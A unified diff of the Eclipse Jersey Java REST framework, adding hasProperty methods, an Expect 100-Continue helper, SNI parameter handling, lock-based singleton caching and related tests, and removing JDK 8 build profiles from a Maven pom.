@@ -146,6 +146,11 @@ } @Override + public boolean hasProperty(final String name) { + return propertiesDelegate.hasProperty(name); + } + + @Override public Object getProperty(final String name) { return propertiesDelegate.getProperty(name); } @@ -236,9 +241,19 @@ return clientConfig; } + /** + * Get the values of an HTTP request header if the header exists on the current request. The returned value will be + * a read-only List if the specified header exists or {@code null} if it does not. This is a shortcut for + * {@code getRequestHeaders().get(name)}. + * + * @param name the header name, case insensitive. + * @return a read-only list of header values if the specified header exists, otherwise {@code null}. + * @throws java.lang.IllegalStateException if called outside the scope of a request. + */ @Override public List<String> getRequestHeader(String name) { - return HeaderUtils.asStringList(getHeaders().get(name), clientConfig.getConfiguration()); + final List<Object> values = getHeaders().get(name); + return values == null ? null : HeaderUtils.asStringList(values, clientConfig.getConfiguration()); } @Override
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/RequestProcessingInitializationStage.java b/core-client/src/main/java/org/glassfish/jersey/client/RequestProcessingInitializationStage.java index 0b9da83..1ac6b75 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/RequestProcessingInitializationStage.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/RequestProcessingInitializationStage.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -16,7 +16,9 @@ package org.glassfish.jersey.client; +import java.util.Collection; import java.util.Collections; +import java.util.Iterator; import java.util.function.Function; import java.util.stream.Collectors; import java.util.stream.StreamSupport; @@ -26,6 +28,7 @@ import jakarta.inject.Provider; +import org.glassfish.jersey.innate.spi.MessageBodyWorkersSettable; import org.glassfish.jersey.internal.inject.InjectionManager; import org.glassfish.jersey.internal.inject.Providers; import org.glassfish.jersey.internal.util.collection.Ref; @@ -80,6 +83,21 @@ requestContext.setWriterInterceptors(writerInterceptors); requestContext.setReaderInterceptors(readerInterceptors); + if (requestContext.getEntity() != null) { + setWorkers(requestContext.getEntity()); + } + return requestContext; } + + private void setWorkers(Object entity) { + if (MessageBodyWorkersSettable.class.isInstance(entity)) { + ((MessageBodyWorkersSettable) entity).setMessageBodyWorkers(workersProvider); + } else if (Collection.class.isInstance(entity)) { + Iterator it = ((Collection) entity).iterator(); + while (it.hasNext()) { + setWorkers(it.next()); + } + } + } }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java new file mode 100644 index 0000000..7c45854 --- /dev/null +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/Expect100ContinueUsage.java
@@ -0,0 +1,60 @@ +/* + * Copyright (c) 2022 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.client.innate; + +import org.glassfish.jersey.client.ClientProperties; +import org.glassfish.jersey.client.ClientRequest; +import org.glassfish.jersey.client.RequestEntityProcessing; + +/** + * Utility class to check whether it's possible to send the Expect header within request. + */ +public final class Expect100ContinueUsage { + + private Expect100ContinueUsage() { + //do not instantiate + } + + /** + * Checks if usage of the Expect header with 100-Continue value is allowed + * + * @param request client's request + * @param requestMethod method of the request (GET, POST, PUT etc). + * @return true if the Expect header is allowed. + */ + public static boolean isAllowed(ClientRequest request, String requestMethod) { + + long requestLength = request.getLengthLong(); + + final RequestEntityProcessing entityProcessing = request.resolveProperty( + ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class); + + final Boolean expectContinueActivated = request.resolveProperty( + ClientProperties.EXPECT_100_CONTINUE, Boolean.class); + final Long expectContinueSizeThreshold = request.resolveProperty( + ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, + ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE); + + final boolean allowStreaming = requestLength > expectContinueSizeThreshold + || entityProcessing == RequestEntityProcessing.CHUNKED; + + return !(!Boolean.TRUE.equals(expectContinueActivated) + || !("POST".equals(requestMethod) || "PUT".equals(requestMethod)) + || !allowStreaming + ); + } +}
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java index 212e83d..67d4a63 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SSLParamConfigurator.java
@@ -55,7 +55,7 @@ /** - * Sets the {@link ClientRequest} instance. + * Sets the SNIHostName and {@link URI} from the {@link ClientRequest} instance. * @param clientRequest the {@link ClientRequest} * @return the builder instance */ @@ -281,6 +281,15 @@ } /** + * Set {@link javax.net.ssl.SNIServerName} for the {@link SSLParameters} when SNI should be used + * (i.e. {@link jakarta.ws.rs.core.HttpHeaders#HOST} differs from HTTP request host name) + * @param parameters the {@link SSLParameters} to be set + */ + public void setSNIServerName(SSLParameters parameters) { + sniConfigurator.ifPresent(sni -> sni.updateSSLParameters(parameters)); + } + + /** * Set setEndpointIdentificationAlgorithm to HTTPS. This is to prevent man-in-the-middle attacks. * @param sslEngine the {@link SSLEngine} the algorithm is set for. * @see SSLParameters#setEndpointIdentificationAlgorithm(String)
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java index 10cdfac..4bd2856 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/http/SniConfigurator.java
@@ -27,7 +27,6 @@ import java.net.URI; import java.util.LinkedList; import java.util.List; -import java.util.Map; import java.util.Optional; import java.util.logging.Logger; @@ -71,9 +70,11 @@ return Optional.empty(); } - final String hostUriString = hostUri.getHost(); - if (!whenDiffer && hostUriString.equals(trimmedHeader)) { - return Optional.empty(); + if (hostUri != null) { + final String hostUriString = hostUri.getHost(); + if (!whenDiffer && hostUriString.equals(trimmedHeader)) { + return Optional.empty(); + } } return Optional.of(new SniConfigurator(trimmedHeader)); @@ -101,7 +102,7 @@ LOGGER.fine(LocalizationMessages.SNI_ON_SSLSOCKET()); } - private SSLParameters updateSSLParameters(SSLParameters sslParameters) { + SSLParameters updateSSLParameters(SSLParameters sslParameters) { SNIHostName serverName = new SNIHostName(hostName); List<SNIServerName> serverNames = new LinkedList<>(); serverNames.add(serverName);
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java index cf8ae51..09d8d88 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/innate/inject/NonInjectionManager.java
@@ -31,7 +31,6 @@ import org.glassfish.jersey.internal.inject.SupplierClassBinding; import org.glassfish.jersey.internal.inject.SupplierInstanceBinding; import org.glassfish.jersey.internal.util.collection.LazyValue; -import org.glassfish.jersey.internal.util.collection.Ref; import org.glassfish.jersey.internal.util.collection.Value; import org.glassfish.jersey.internal.util.collection.Values; import org.glassfish.jersey.process.internal.RequestScope; @@ -60,6 +59,7 @@ import java.util.List; import java.util.Map; import java.util.Set; +import java.util.concurrent.locks.ReentrantLock; import java.util.function.Supplier; import java.util.logging.Level; import java.util.logging.Logger; @@ -93,20 +93,25 @@ private class TypedInstances<TYPE extends Type> { private final MultivaluedMap<TYPE, InstanceContext<?>> singletonInstances = new MultivaluedHashMap<>(); private ThreadLocal<MultivaluedMap<TYPE, InstanceContext<?>>> threadInstances = new ThreadLocal<>(); + private final ReentrantLock singletonInstancesLock = new ReentrantLock(); private ThreadLocal<MultivaluedMap<DisposableSupplier, Object>> disposableSupplierObjects = ThreadLocal.withInitial(() -> new MultivaluedHashMap<>()); private <T> List<InstanceContext<?>> _getSingletons(TYPE clazz) { List<InstanceContext<?>> si; - synchronized (singletonInstances) { + singletonInstancesLock.lock(); + try { si = singletonInstances.get(clazz); + } finally { + singletonInstancesLock.unlock(); } return si; } @SuppressWarnings("unchecked") <T> T _addSingleton(TYPE clazz, T instance, Binding<?, ?> binding, Annotation[] qualifiers, boolean destroy) { - synchronized (singletonInstances) { + singletonInstancesLock.lock(); + try { // check existing singleton with a qualifier already created by another thread io a meantime List<InstanceContext<?>> values = singletonInstances.get(clazz); if (values != null) { @@ -121,6 +126,8 @@ InstanceContext<?> instanceContext = new InstanceContext<>(instance, binding, qualifiers, !destroy); singletonInstances.add(clazz, instanceContext); return instance; + } finally { + singletonInstancesLock.unlock(); } }
diff --git a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java index 2e727eb..ad13830 100644 --- a/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java +++ b/core-client/src/main/java/org/glassfish/jersey/client/internal/HttpUrlExpect100ContinueConnectorExtension.java
@@ -1,5 +1,5 @@ /* - * Copyright (c) 2020 Oracle and/or its affiliates. All rights reserved. + * Copyright (c) 2020, 2022 Oracle and/or its affiliates. All rights reserved. * * This program and the accompanying materials are made available under the * terms of the Eclipse Public License v. 2.0, which is available at @@ -18,7 +18,7 @@ import org.glassfish.jersey.client.ClientProperties; import org.glassfish.jersey.client.ClientRequest; -import org.glassfish.jersey.client.RequestEntityProcessing; +import org.glassfish.jersey.client.innate.Expect100ContinueUsage; import java.io.IOException; import java.net.HttpURLConnection; @@ -32,26 +32,9 @@ @Override public void invoke(ClientRequest request, HttpURLConnection uc) { - final long length = request.getLengthLong(); - final RequestEntityProcessing entityProcessing = request.resolveProperty( - ClientProperties.REQUEST_ENTITY_PROCESSING, RequestEntityProcessing.class); - - final Boolean expectContinueActivated = request.resolveProperty( - ClientProperties.EXPECT_100_CONTINUE, Boolean.class); - final Long expectContinueSizeThreshold = request.resolveProperty( - ClientProperties.EXPECT_100_CONTINUE_THRESHOLD_SIZE, - ClientProperties.DEFAULT_EXPECT_100_CONTINUE_THRESHOLD_SIZE); - - final boolean allowStreaming = length > expectContinueSizeThreshold - || entityProcessing == RequestEntityProcessing.CHUNKED; - - if (!Boolean.TRUE.equals(expectContinueActivated) - || !("POST".equals(uc.getRequestMethod()) || "PUT".equals(uc.getRequestMethod())) - || !allowStreaming - ) { - return; + if (Expect100ContinueUsage.isAllowed(request, uc.getRequestMethod())) { + uc.setRequestProperty("Expect", "100-Continue"); } - uc.setRequestProperty("Expect", "100-Continue"); } @Override
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/AbortTest.java b/core-client/src/test/java/org/glassfish/jersey/client/AbortTest.java index ae487bf..1bac330 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/AbortTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/AbortTest.java
@@ -16,6 +16,8 @@ package org.glassfish.jersey.client; +import jakarta.ws.rs.SeBootstrap; +import jakarta.ws.rs.core.EntityPart; import org.junit.jupiter.api.Assertions; import org.junit.jupiter.api.Test; @@ -52,6 +54,7 @@ import java.util.Iterator; import java.util.List; import java.util.Map; +import java.util.concurrent.CompletionStage; import java.util.concurrent.atomic.AtomicReference; import static org.junit.jupiter.api.Assertions.assertEquals; @@ -282,6 +285,27 @@ public Link.Builder createLinkBuilder() { return original.createLinkBuilder(); } + + @Override + public SeBootstrap.Configuration.Builder createConfigurationBuilder() { + return original.createConfigurationBuilder(); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Application application, SeBootstrap.Configuration configuration) { + return original.bootstrap(application, configuration); + } + + @Override + public CompletionStage<SeBootstrap.Instance> bootstrap(Class<? extends Application> clazz, + SeBootstrap.Configuration configuration) { + return original.bootstrap(clazz, configuration); + } + + @Override + public EntityPart.Builder createEntityPartBuilder(String partName) throws IllegalArgumentException { + return original.createEntityPartBuilder(partName); + } } }
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java index aaa88c9..d2ede28 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientConfigTest.java
@@ -105,6 +105,13 @@ } @Test + public void testHasProperty() { + ClientConfig instance = new ClientConfig().property("name", "value"); + assertTrue(instance.hasProperty("name")); + assertFalse(instance.hasProperty("other")); + } + + @Test public void testGetProperty() { ClientConfig instance = new ClientConfig().property("name", "value"); assertEquals("value", instance.getProperty("name"));
diff --git a/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java b/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java index a491fb7..c075af9 100644 --- a/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java +++ b/core-client/src/test/java/org/glassfish/jersey/client/ClientRequestTest.java
@@ -93,6 +93,9 @@ assertFalse(request.getConfiguration().getPropertyNames().contains("name")); assertFalse(request.getPropertyNames().contains("name")); + assertFalse(request.getConfiguration().hasProperty("name")); + assertFalse(request.hasProperty("name")); + assertNull(request.getConfiguration().getProperty("name")); assertNull(request.getProperty("name")); @@ -110,6 +113,9 @@ assertTrue(request.getConfiguration().getPropertyNames().contains("name")); assertFalse(request.getPropertyNames().contains("name")); + assertTrue(request.getConfiguration().hasProperty("name")); + assertFalse(request.hasProperty("name")); + assertEquals("value-global", request.getConfiguration().getProperty("name")); assertNull(request.getProperty("name")); @@ -128,6 +134,9 @@ assertFalse(request.getConfiguration().getPropertyNames().contains("name")); assertTrue(request.getPropertyNames().contains("name")); + assertFalse(request.getConfiguration().hasProperty("name")); + assertTrue(request.hasProperty("name")); + assertNull(request.getConfiguration().getProperty("name")); assertEquals("value-request", request.getProperty("name")); @@ -146,6 +155,9 @@ assertTrue(request.getConfiguration().getPropertyNames().contains("name")); assertTrue(request.getPropertyNames().contains("name")); + assertTrue(request.getConfiguration().hasProperty("name")); + assertTrue(request.hasProperty("name")); + assertEquals("value-global", request.getConfiguration().getProperty("name")); assertEquals("value-request", request.getProperty("name"));
diff --git a/core-common/pom.xml b/core-common/pom.xml index 0a1c086..a1ba6b4 100644 --- a/core-common/pom.xml +++ b/core-common/pom.xml
@@ -1,7 +1,7 @@ <?xml version="1.0" encoding="UTF-8"?> <!-- - Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved. + Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved. This program and the accompanying materials are made available under the terms of the Eclipse Public License v. 2.0, which is available at @@ -23,7 +23,7 @@ <parent> <groupId>org.glassfish.jersey</groupId> <artifactId>project</artifactId> - <version>3.0.99-SNAPSHOT</version> + <version>3.1.99-SNAPSHOT</version> </parent> <groupId>org.glassfish.jersey.core</groupId> @@ -216,8 +216,8 @@ <artifactId>jakarta.annotation-api</artifactId> </dependency> <dependency> - <groupId>com.sun.activation</groupId> - <artifactId>jakarta.activation</artifactId> + <groupId>org.eclipse.angus</groupId> + <artifactId>angus-activation</artifactId> <scope>provided</scope> <optional>true</optional> </dependency> @@ -254,448 +254,9 @@ <profiles> <profile> - <id>jdk8</id> - <activation> - <jdk>1.8</jdk> - </activation> - <build> - <plugins> - <plugin> - <groupId>org.codehaus.mojo</groupId> - <artifactId>build-helper-maven-plugin</artifactId> - <executions> - <execution> - <phase>generate-sources</phase> - <goals> - <goal>add-source</goal> - </goals> - <configuration> - <sources> - <source>src/main/jsr166</source> - <source>src/main/java8</source> - </sources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <artifactId>maven-antrun-plugin</artifactId> - <dependencies> - <dependency> - <groupId>com.sun</groupId> - <artifactId>tools</artifactId> - <version>1.8.0</version> - <scope>system</scope> - <systemPath>${java.home}/../lib/tools.jar</systemPath> - </dependency> - </dependencies> - <executions> - <execution> - <phase>validate</phase> - <goals> - <goal>run</goal> - </goals> - <configuration> - <target> - <echo>Building for JDK8</echo> - </target> - </configuration> - </execution> - <execution> - <!-- need to compile this to be able to compile-2-java8 --> - <id>compile-1-jsr166</id> - <phase>process-resources</phase> - <configuration> - <target> - <javac srcdir="${jsr166.sourceDirectory}" destdir="${project.build.outputDirectory}" - classpath="${project.build.outputDirectory}" includeantruntime="false" /> - </target> - </configuration> - <goals> - <goal>run</goal> - </goals> - </execution> - <execution> - <!-- Compile these files with jdk 8 and put them aside to be included in multi-release jar --> - <!-- Multi-release jar is built by jdk 11+, but these classes are buildable by jdk 8 only --> - <id>compile-2-java8</id> - <phase>process-resources</phase> - <configuration> - <target> - <mkdir dir="${java8.build.outputDirectory}" /> - <javac srcdir="${java8.sourceDirectory}" destdir="${java8.build.outputDirectory}" - classpath="${project.build.outputDirectory}" includeantruntime="false" /> - </target> - </configuration> - <goals> - <goal>run</goal> - </goals> - </execution> - </executions> - </plugin> - </plugins> - </build> - </profile> - - <profile> - <id>jdk11+</id> - <activation> - <jdk>[11,)</jdk> - </activation> - <build> - <plugins> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-antrun-plugin</artifactId> - <executions> - <execution> - <phase>validate</phase> - <goals> - <goal>run</goal> - </goals> - <configuration> - <target> - <echo>Building for JDK 11+</echo> - </target> - </configuration> - </execution> - <execution> - <id>compile-1-jsr166</id> - <phase>process-resources</phase> - <configuration> - <target> - <javac srcdir="${jsr166.sourceDirectory}" destdir="${project.build.outputDirectory}" - classpath="${project.build.outputDirectory}" includeantruntime="false" /> - </target> - </configuration> - <goals> - <goal>run</goal> - </goals> - </execution> - <execution> - <!-- build these java 11 specific classes to be put to META-INF/versions/11 later --> - <id>compile-2-java11</id> - <phase>process-resources</phase> - <configuration> - <target> - <mkdir dir="${java11.build.outputDirectory}" /> - <javac srcdir="${java11.sourceDirectory}" destdir="${java11.build.outputDirectory}" - classpath="${project.build.outputDirectory}" includeantruntime="false" release="11" /> - </target> - </configuration> - <goals> - <goal>run</goal> - </goals> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.codehaus.mojo</groupId> - <artifactId>build-helper-maven-plugin</artifactId> - <executions> - <execution> - <id>compile-0-addsources</id> - <phase>process-sources</phase> - <goals> - <goal>add-source</goal> - </goals> - <configuration> - <sources> - <source>src/main/jsr166</source> - <source>src/main/java11</source> - </sources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-compiler-plugin</artifactId> - <version>${compiler.common.mvn.plugin.version}</version> - <executions> - <execution> - <id>default-compile</id> - <configuration> - <!-- compile everything to ensure module-info contains right entries --> - <release>11</release> - </configuration> - </execution> - </executions> - </plugin> - </plugins> - </build> - </profile> - <profile> - <id>copyJDK11FilesToMultiReleaseJar</id> - <activation> - <file> - <!-- ${java11.build.outputDirectory} does not work here --> - <exists>target/classes-java11/org/glassfish/jersey/internal/jsr166/SubmissionPublisher.class</exists> - </file> - <jdk>1.8</jdk> - </activation> - <build> - <plugins> - <plugin> - <groupId>org.apache.felix</groupId> - <artifactId>maven-bundle-plugin</artifactId> - <inherited>true</inherited> - <extensions>true</extensions> - <configuration> - <instructions> - <Multi-Release>true</Multi-Release> - </instructions> - </configuration> - </plugin> - <plugin> - <artifactId>maven-clean-plugin</artifactId> - <!-- only one file set per execution works --> - <executions> - <execution> - <id>remove-jdk11-generated-sources</id> - <phase>initialize</phase> - <goals> - <goal>clean</goal> - </goals> - <configuration> - <excludeDefaultDirectories>true</excludeDefaultDirectories> - <filesets> - <fileset> - <directory>${project.build.directory}/generated-sources</directory> - </fileset> - </filesets> - </configuration> - </execution> - <execution> - <id>remove-jdk11-classes</id> - <phase>initialize</phase> - <goals> - <goal>clean</goal> - </goals> - <configuration> - <excludeDefaultDirectories>true</excludeDefaultDirectories> - <filesets> - <fileset> - <directory>${project.build.directory}/classes</directory> - </fileset> - </filesets> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-resources-plugin</artifactId> - <inherited>true</inherited> - <executions> - <execution> - <id>copy-jdk11-sources</id> - <phase>prepare-package</phase> - <goals> - <goal>copy-resources</goal> - </goals> - <configuration> - <outputDirectory>${project.build.directory}/generated-sources/rsrc-gen/META-INF/versions/11/org/glassfish/jersey</outputDirectory> - <resources> - <resource> - <directory>${java11.sourceDirectory}/org/glassfish/jersey</directory> - </resource> - </resources> - </configuration> - </execution> - <execution> - <id>copy-jdk11-classes-to-meta-inf</id> - <phase>prepare-package</phase> - <goals> - <goal>copy-resources</goal> - </goals> - <configuration> - <outputDirectory>${project.build.outputDirectory}/META-INF/versions/11</outputDirectory> - <resources> - <resource> - <directory>${java11.build.outputDirectory}</directory> - </resource> - </resources> - </configuration> - </execution> - </executions> - </plugin> - </plugins> - </build> - </profile> - <profile> - <id>copyJDK8FilesToMultiReleaseJar</id> - <activation> - <file> - <!-- ${java8.build.outputDirectory} does not work here --> - <exists>target/classes-java8/org/glassfish/jersey/internal/jsr166/UnsafeAccessor.class</exists> - </file> - <jdk>[11,)</jdk> - </activation> - <build> - <plugins> - <plugin> - <groupId>org.apache.felix</groupId> - <artifactId>maven-bundle-plugin</artifactId> - <inherited>true</inherited> - <extensions>true</extensions> - <configuration> - <instructions> - <Multi-Release>true</Multi-Release> - </instructions> - </configuration> - </plugin> - <plugin> - <artifactId>maven-clean-plugin</artifactId> - <!-- only one file set per execution works --> - <executions> - <execution> - <id>remove-jdk11-jsr166-sources</id> - <phase>initialize</phase> - <goals> - <goal>clean</goal> - </goals> - <configuration> - <excludeDefaultDirectories>true</excludeDefaultDirectories> - <filesets> - <fileset> - <directory>${project.build.directory}/generated-sources/rsrc-gen/org/glassfish/jersey/internal/jsr166</directory> - </fileset> - </filesets> - </configuration> - </execution> - <execution> - <id>remove-jdk11-jsr166-META-INF-sources</id> - <phase>initialize</phase> - <goals> - <goal>clean</goal> - </goals> - <configuration> - <excludeDefaultDirectories>true</excludeDefaultDirectories> - <filesets> - <fileset> - <directory>${project.build.directory}/generated-sources/rsrc-gen/META-INF</directory> - </fileset> - </filesets> - </configuration> - </execution> - <execution> - <id>remove-jdk11-jsr166-classes</id> - <phase>prepare-package</phase> - <goals> - <goal>clean</goal> - </goals> - <configuration> - <excludeDefaultDirectories>true</excludeDefaultDirectories> - <filesets> - <fileset> - <directory>${project.build.outputDirectory}/org/glassfish/jersey/internal/jsr166</directory> - <includes> - <include>*.class</include> - </includes> - <excludes> - <exclude>Flow*.class</exclude> - <exclude>SubmittableFlowPublisher.class</exclude> - <exclude>package-info.class</exclude> - </excludes> - </fileset> - </filesets> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-resources-plugin</artifactId> - <inherited>true</inherited> - <executions> - <execution> - <id>copy-jdk8-classes-ouputDirectory</id> - <phase>prepare-package</phase> - <goals> - <goal>copy-resources</goal> - </goals> - <configuration> - <outputDirectory>${project.build.outputDirectory}</outputDirectory> - <resources> - <resource> - <directory>${java8.build.outputDirectory}</directory> - </resource> - </resources> - </configuration> - </execution> - <execution> - <id>copy-jdk8-sources</id> - <phase>prepare-package</phase> - <goals> - <goal>copy-resources</goal> - </goals> - <configuration> - <outputDirectory>${project.build.directory}/generated-sources/rsrc-gen/org/glassfish/jersey/internal/jsr166</outputDirectory> - <resources> - <resource> - <directory>${java8.sourceDirectory}/org/glassfish/jersey/internal/jsr166</directory> - </resource> - </resources> - </configuration> - </execution> - <execution> - <id>copy-jdk11-sources</id> - <phase>prepare-package</phase> - <goals> - <goal>copy-resources</goal> - </goals> - <configuration> - <outputDirectory>${project.build.directory}/generated-sources/rsrc-gen/META-INF/versions/11/org/glassfish/jersey/internal/jsr166</outputDirectory> - <resources> - <resource> - <directory>${java11.sourceDirectory}/org/glassfish/jersey/internal/jsr166</directory> - </resource> - </resources> - </configuration> - </execution> - <execution> - <id>copy-jdk11-classes-to-meta-inf</id> - <phase>prepare-package</phase> - <goals> - <goal>copy-resources</goal> - </goals> - <configuration> - <outputDirectory>${project.build.outputDirectory}/META-INF/versions/11</outputDirectory> - <resources> - <resource> - <directory>${java11.build.outputDirectory}</directory> - </resource> - </resources> - </configuration> - </execution> - </executions> - </plugin> - <plugin> - <groupId>org.apache.maven.plugins</groupId> - <artifactId>maven-source-plugin</artifactId> - <executions> - <execution> - <id>attach-sources</id> - <phase>package</phase> - <goals> - <goal>jar-no-fork</goal> - </goals> - <configuration> - <excludes> - <exclude>org/glassfish/jersey/internal/jsr166/Jdk9SubmissionPublisher.java</exclude> - </excludes> - </configuration> - </execution> - </executions> - </plugin> - </plugins> - </build> - </profile> - <profile> <id>build.jdk20-</id> <activation> - <jdk>[1.8,21)</jdk> + <jdk>[11,21)</jdk> </activation> <build> <plugins> @@ -799,11 +360,22 @@ <!-- ${java21.build.outputDirectory} does not work here --> <exists>target/classes-java21/org/glassfish/jersey/innate/VirtualThreadSupport.class</exists> </file> - <jdk>[1.8,21)</jdk> + <jdk>[11,21)</jdk> </activation> <build> <plugins> <plugin> + <groupId>org.apache.felix</groupId> + <artifactId>maven-bundle-plugin</artifactId> + <inherited>true</inherited> + <extensions>true</extensions> + <configuration> + <instructions> + <Multi-Release>true</Multi-Release> + </instructions> + </configuration> + </plugin> + <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-resources-plugin</artifactId> <inherited>true</inherited> @@ -850,7 +422,7 @@ <jdk>[24,)</jdk> </activation> <properties> - <surefire.security.argline /> + <surefire.security.argline /> </properties> <build> <plugins> @@ -892,11 +464,6 @@ <properties> <surefire.security.argline>-Djava.security.manager -Djava.security.policy=${project.build.directory}/test-classes/surefire.policy</surefire.security.argline> - <jsr166.sourceDirectory>${project.basedir}/src/main/jsr166</jsr166.sourceDirectory> - <java8.build.outputDirectory>${project.build.directory}/classes-java8</java8.build.outputDirectory> - <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory> - <java11.build.outputDirectory>${project.build.directory}/classes-java11</java11.build.outputDirectory> - <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory> <java21.build.outputDirectory>${project.build.directory}/classes-java21</java21.build.outputDirectory> <java21.sourceDirectory>${project.basedir}/src/main/java21</java21.sourceDirectory> </properties>
diff --git a/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java b/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java index d3a9d47..308ff94 100644 --- a/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java +++ b/core-common/src/main/java/org/glassfish/jersey/CommonProperties.java
@@ -373,7 +373,7 @@ * The default is {@link java.util.concurrent.Executors#defaultThreadFactory()} on platform threads and * {@code Thread.ofVirtual().factory()} on virtual threads. * </p> - * @since 2.44 + * @since 3.1.7 */ public static String THREAD_FACTORY = "jersey.config.threads.factory"; @@ -383,9 +383,9 @@ * of threads by {@code FixedThreadPool}. * </p> * <p> - * The default is {@code false} for this version of Jersey, and {@code true} for Jersey 3.1+. + * The default is {@code false} for this version of Jersey. * </p> - * @since 2.44 + * @since 3.1.7 */ public static String USE_VIRTUAL_THREADS = "jersey.config.threads.use.virtual";
diff --git a/core-common/src/main/java11/org/glassfish/jersey/innate/io/InputStreamWrapper.java b/core-common/src/main/java/org/glassfish/jersey/innate/io/InputStreamWrapper.java similarity index 100% rename from core-common/src/main/java11/org/glassfish/jersey/innate/io/InputStreamWrapper.java rename to core-common/src/main/java/org/glassfish/jersey/innate/io/InputStreamWrapper.java
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/spi/EntityPartBuilderProvider.java b/core-common/src/main/java/org/glassfish/jersey/innate/spi/EntityPartBuilderProvider.java new file mode 100644 index 0000000..606e212 --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/innate/spi/EntityPartBuilderProvider.java
@@ -0,0 +1,34 @@ +/* + * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved. + * + * This program and the accompanying materials are made available under the + * terms of the Eclipse Public License v. 2.0, which is available at + * http://www.eclipse.org/legal/epl-2.0. + * + * This Source Code may also be made available under the following Secondary + * Licenses when the conditions for such availability set forth in the + * Eclipse Public License v. 2.0 are satisfied: GNU General Public License, + * version 2 with the GNU Classpath Exception, which is available at + * https://www.gnu.org/software/classpath/license.html. + * + * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0 + */ + +package org.glassfish.jersey.innate.spi; + +import jakarta.ws.rs.core.EntityPart; + +/** + * Jersey extension of provider of EntityPart.Builder. + * A service meant to be implemented solely by Jersey. + * + * @since 3.1.0 + */ +public interface EntityPartBuilderProvider { + + /** + * @param partName name of the part to create within the multipart entity. + * @return {@link EntityPart.Builder} for building new {@link EntityPart} instances. + */ + public EntityPart.Builder withName(String partName); +}
diff --git a/core-common/src/main/java/org/glassfish/jersey/innate/spi/MessageBodyWorkersSettable.java b/core-common/src/main/java/org/glassfish/jersey/innate/spi/MessageBodyWorkersSettable.java new file mode 100644 index 0000000..09c751e --- /dev/null +++ b/core-common/src/main/java/org/glassfish/jersey/innate/spi/MessageBodyWorkersSettable.java
